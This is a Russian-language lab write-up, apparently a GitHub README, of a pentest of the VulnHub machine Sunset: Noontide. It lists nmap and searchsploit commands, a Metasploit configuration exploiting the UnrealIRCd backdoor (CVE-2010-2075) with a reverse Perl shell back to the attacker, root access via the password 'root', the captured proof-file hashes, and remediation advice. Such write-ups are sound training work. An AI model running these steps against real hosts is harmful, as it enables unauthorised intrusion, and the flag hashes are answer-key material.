
Описание Профессиональная оценка пентеста машины Sunset: Noontide с VulnHub, охватывающая разведку, перечисление служб, эксплуатацию CVE-2010-2075, постэксплуатацию, повышение привилегий и полный захват системы.
Профессиональная оценка тестирования на проникновение и прохождение CTF машины Sunset: Noontide — намеренно уязвимой машины от VulnHub.
Этот проект документирует полный жизненный цикл тестирования на проникновение, включая разведку, перечисление сервисов, исследование уязвимостей, эксплуатацию, первоначальный доступ, постэксплуатацию, повышение привилегий, подтверждение компрометации, оценку рисков, сопоставление с MITRE ATT&CK и рекомендации по устранению.
⚠️ Отказ от ответственности: Данная оценка проводилась против намеренно уязвимой машины в авторизованной лабораторной среде. Описанные здесь методы и команды предназначены только для систем, на которые получено явное разрешение.
| Компонент | Детали |
|---|---|
| Цель | Sunset: Noontide |
| Платформа | VulnHub |
| IP цели | 10.106.186.186 |
| Имя хоста цели | noontide |
| ОС цели | Debian GNU/Linux 10 (Buster) |
| Архитектура | x86_64 |
| Платформа атакующего | Kali Linux |
| IP атакующего | 10.106.186.204 |
| Тип оценки | Авторизованная лабораторная оценка |
| Общий риск | КРИТИЧЕСКИЙ |
| Результат оценки | Полная компрометация системы |
Обнаружение цели → Перечисление Nmap → Идентификация UnrealIRCd 3.2.8.1 → SearchSploit → Идентификация CVE-2010-2075 → Эксплуатация через Metasploit → Удалённая командная оболочка → Оболочка от имени server → Постэксплуатация Linux → Слабые учётные данные root → su root → UID 0 / Доступ root → Файлы подтверждения пользователя и root
Первоначальное обнаружение сети было выполнено для идентификации уязвимой цели.
В конечном итоге цель была идентифицирована как:
10.106.186.186
В ходе разведки 10.106.186.142 был идентифицирован как шлюз по умолчанию, а не как предполагаемая цель.
Это подчёркивает важность правильной идентификации цели перед проведением дальнейшего тестирования безопасности, особенно в мостовой или общей лабораторной сети.
Обнаружение сервисов и версий с помощью Nmap было выполнено против цели с использованием:
nmap -sV 10.106.186.186
Значимым открытым сервисом, обнаруженным в ходе оценки, был:
6667/tcp open irc UnrealIRCd
Затем было выполнено более детальное сканирование с использованием:
nmap -sC -sV -Pn -p 6667 10.106.186.186
Сервис был идентифицирован как:
UnrealIRCd 3.2.8.1
IRC-сервис также сообщил:
irc.foonet.com
Открытый сервис UnrealIRCd стал основной поверхностью атаки, исследованной в ходе оценки.
SearchSploit был использован для исследования публично задокументированных уязвимостей, связанных с обнаруженной версией UnrealIRCd.
Команда:
searchsploit UnrealIRCd 3.2.8.1
Соответствующий результат:
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
Уязвимость была идентифицирована как:
CVE-2010-2075
Выполнение команд через бэкдор в UnrealIRCd 3.2.8.1
Критическая
Удалённое выполнение команд
Успешная эксплуатация уязвимого сервиса позволяет атакующему удалённо выполнять команды в целевой системе.
Уязвимый IRC-сервис был проэксплуатирован с использованием Metasploit Framework.
Выбранный модуль:
exploit/unix/irc/unreal_ircd_3281_backdoor
Пример конфигурации:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
Первоначальные попытки с полезной нагрузкой не дали рабочей сессии.
Впоследствии была выбрана совместимая обратная полезная нагрузка Unix reverse-Perl:
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
Metasploit сообщил, что цель выглядит уязвимой, и успешно открыл сессию командной оболочки.
Полученная оболочка была проверена с помощью:
whoami
Результат:
server
Это подтвердило успешное удалённое выполнение команд от имени учётной записи server.
Начальный рабочий каталог:
/home/server/irc/Unreal3.2
На этом этапе оценка перешла от удалённой эксплуатации сервиса к локальному постэксплуатационному перечислению.
После получения оболочки было выполнено стандартное перечисление Linux для понимания скомпрометированного хоста и выявления потенциальных путей повышения привилегий.
Команда:
id
Результат:
uid=1000(server) gid=1000(server)
Учётная запись была непривилегированным пользователем.
Команда:
hostname
Результат:
noontide
Команда:
uname -a
Результат:
Linux noontide 4.19.0-10-amd64 x86_64
Команда:
cat /etc/os-release
Результат:
Debian GNU/Linux 10 (buster)
Эти команды установили текущую личность, имя хоста, версию ядра, операционную систему и общую конфигурацию системы.
Было выполнено несколько стандартных проверок повышения привилегий в Linux.
Команда:
find / -perm -4000 -type f 2>/dev/null
Были идентифицированы стандартные SUID-бинарники, такие как passwd, chsh, mount, umount, su, chfn, newgrp и gpasswd.
Очевидный пользовательский или аномальный SUID-бинарник, который стал бы успешным вектором повышения привилегий, идентифицирован не был.
Команда:
sudo -l
Из доступного вывода не был идентифицирован полезный путь повышения привилегий через sudo.
Команды:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
Наблюдаемые запланированные задания были стандартными системными заданиями в стиле Debian.
Очевидное записываемое cron-задание root идентифицировано не было.
Команда:
find / -writable -type f 2>/dev/null | head -100
Первоначальные результаты в основном представляли собой псевдофайлы /proc и не выявили практического вектора повышения привилегий.
Команда:
getcap -r / 2>/dev/null
Из полученного вывода полезное повышение привилегий на основе возможностей идентифицировано не было.
Успешный путь повышения привилегий был основан на намеренно слабых учётных данных root, настроенных на уязвимой машине.
Доступ к учётной записи root был получен с помощью:
su root
Пароль:
root
Доступ root был затем проверен с помощью:
id
Результат:
uid=0(root) gid=0(root) groups=0(root)
Личность также была подтверждена с помощью:
whoami
Результат:
root
Это подтвердило полный административный контроль над целевой системой.
Файл подтверждения уровня пользователя находился по пути:
/home/server/local.txt
Команда:
cat /home/server/local.txt
Результат:
c53c08b5bf2b0801c5d0c24149826a6e
Файл подтверждения уровня root находился по пути:
/root/proof.txt
Команда:
cat /root/proof.txt
Результат:
ab28c8ca8da1b9ffc2d702ac54221105
Файл подтверждения root также содержал:
Thanks for playing! - Felipe Winsnes (@whitecr0wz)
Извлечение обоих файлов подтверждения подтверждает успешную компрометацию от первоначального удалённого доступа до контроля уровня root.
| ID | Обнаружение | Критичность | Влияние |
|---|---|---|---|
| VULN-01 | Бэкдор в UnrealIRCd 3.2.8.1 | 🔴 Критическая | Удалённое выполнение команд |
| VULN-02 | Слабые учётные данные root | 🔴 Критическая | Полная административная компрометация |
Критичность: Критическая
Затронутый сервис: IRC / TCP 6667
Затронутое ПО: UnrealIRCd 3.2.8.1
CVE: CVE-2010-2075
Тип атаки: Удалённое выполнение команд
Наблюдаемое влияние: Получена удалённая оболочка от имени server
Открытый сервис UnrealIRCd работал в уязвимой версии, связанной с известной уязвимостью выполнения команд через бэкдор.
Уязвимость была идентифицирована посредством перечисления сервисов и исследования в SearchSploit и была успешно проэксплуатирована с помощью Metasploit.
Атакующий, способный достичь уязвимого IRC-сервиса, может удалённо выполнять команды и получать несанкционированный доступ к хосту.
Критичность: Критическая
Затронутая учётная запись: root
Наблюдаемые учётные данные: root / root
Наблюдаемое влияние: Административный доступ с UID 0
Учётная запись root была настроена с чрезвычайно слабыми учётными данными.
После получения локальной оболочки от имени server доступ к учётной записи root был получен с использованием слабых учётных данных и подтверждён с UID 0.
Атакующий, получивший локальный доступ к оболочке, может использовать слабые учётные данные root для получения полного контроля над операционной системой.
Замените уязвимую установку UnrealIRCd на доверенную и поддерживаемую версию.
Проверяйте целостность программного обеспечения и происхождение пакетов перед развёртыванием.
Если целостность или происхождение программного обеспечения неясны, пересоберите систему с использованием доверенных установочных носителей и проверенных пакетов.
Замените учётные данные по умолчанию и слабые учётные данные на надёжные, уникальные административные учётные данные.
Не используйте простые пароли, такие как root.
Если IRC необходим, ограничьте доступ с помощью:
Поддерживайте документированный процесс управления исправлениями для операционной системы и всех открытых сервисов.
Регистрируйте и проверяйте:
Хост Sunset: Noontide был успешно скомпрометирован от первоначального сетевого доступа до полного контроля уровня root.
Основной уязвимостью первоначального доступа был бэкдор в UnrealIRCd 3.2.8.1 (CVE-2010-2075).
Уязвимость обеспечила удалённое выполнение команд и привела к получению первоначальной оболочки от имени учётной записи server.
Затем было выполнено постэксплуатационное перечисление, включая проверки SUID, sudo, cron, записываемых файлов, возможностей Linux, личности, операционной системы и файловой системы.
Эти проверки не выявили успешного маршрута повышения привилегий.
Полный административный доступ был в конечном итоге достигнут благодаря слабым учётным данным root на машине.
Успешное извлечение обоих файлов подтверждения — уровня пользователя и уровня root — подтвердило полную компрометацию системы.
КРИТИЧЕСКАЯ — Достигнута полная компрометация системы
Подробный профессиональный отчёт о тестировании на проникновение включён в этот проект:
Sunset-Noontide-Penetration-Testing-Report.pdf
Отчёт содержит:
Предлагаемая структура репозитория:
sunset-noontide-pentesting/
├── README.md
├── Sunset-Noontide-Penetration-Testing-Report.pdf
└── evidence/
├── 01-target-discovery.png
├── 02-nmap-enumeration.png
├── 03-searchsploit.png
├── 04-metasploit-exploitation.png
├── 05-initial-shell.png
├── 06-post-exploitation.png
├── 07-privilege-escalation.png
└── 08-root-proof.png
Скриншоты должны содержать только информацию из авторизованной лабораторной среды.
Данная оценка предоставила практический опыт в:
Этот репозиторий предназначен строго для:
Методы, описанные в этом репозитории, должны применяться только к системам, на которые получено явное разрешение.
Не используйте эти методы против производственных систем, публичной инфраструктуры или сторонних систем без разрешения.
Alen Sales K S
Кибербезопасность | Тестирование на проникновение | SOC | Сетевая безопасность
GitHub: https://github.com/zales2004
Sunset: Noontide демонстрирует полный рабочий процесс тестирования на проникновение:
Разведка → Перечисление → Исследование уязвимостей → Эксплуатация → Первоначальный доступ → Постэксплуатация → Повышение привилегий → Доступ root → Сбор доказательств → Оценка рисков → Отчётность по безопасности
Результат оценки: КРИТИЧЕСКАЯ — Достигнута полная компрометация системы
| Техника | ID | Наблюдаемая активность |
|---|
| Network Service Scanning | T1046 | Перечисление Nmap |
| Exploit Public-Facing Application | T1190 | Эксплуатация открытого сервиса UnrealIRCd |
| Command and Scripting Interpreter | T1059 | Удалённая командная оболочка |
| Valid Accounts | T1078 | Использование учётных данных root |
| Account Discovery | T1087 | Перечисление личности и пользователей |
| System Information Discovery | T1082 | uname и /etc/os-release |
| File and Directory Discovery | T1083 | Перечисление файловой системы |
| Scheduled Task/Job Discovery | T1053 | Перечисление cron |
| Permission Groups Discovery | T1069 | id и перечисление групп |
| Этап | Действия |
|---|
| Разведка | Обнаружение сети и идентификация цели |
| Перечисление | Обнаружение сервисов/версий с помощью Nmap |
| Исследование уязвимостей | Идентификация модулей SearchSploit и Metasploit |
| Эксплуатация | Эксплуатация бэкдора UnrealIRCd |
| Первоначальный доступ | Командная оболочка от имени server |
| Постэксплуатация | Перечисление личности, ОС, файловой системы и привилегий |
| Повышение привилегий | Проверки SUID, sudo, cron, записываемых файлов и возможностей |
| Сбор доказательств | Файлы подтверждения пользователя и root |
| Отчётность | Обнаружения, анализ рисков и устранение |
| Цель | Статус |
|---|
| Цель идентифицирована | ✅ PASS |
| Открытый сервис идентифицирован | ✅ PASS |
| Уязвимая версия идентифицирована | ✅ PASS |
| CVE идентифицирована | ✅ PASS |
| Удалённое выполнение команд | ✅ PASS |
Первоначальная оболочка от имени server | ✅ PASS |
| Подтверждение пользователя извлечено | ✅ PASS |
| Повышение привилегий | ✅ PASS |
| Доступ root подтверждён | ✅ PASS |
| Подтверждение root извлечено | ✅ PASS |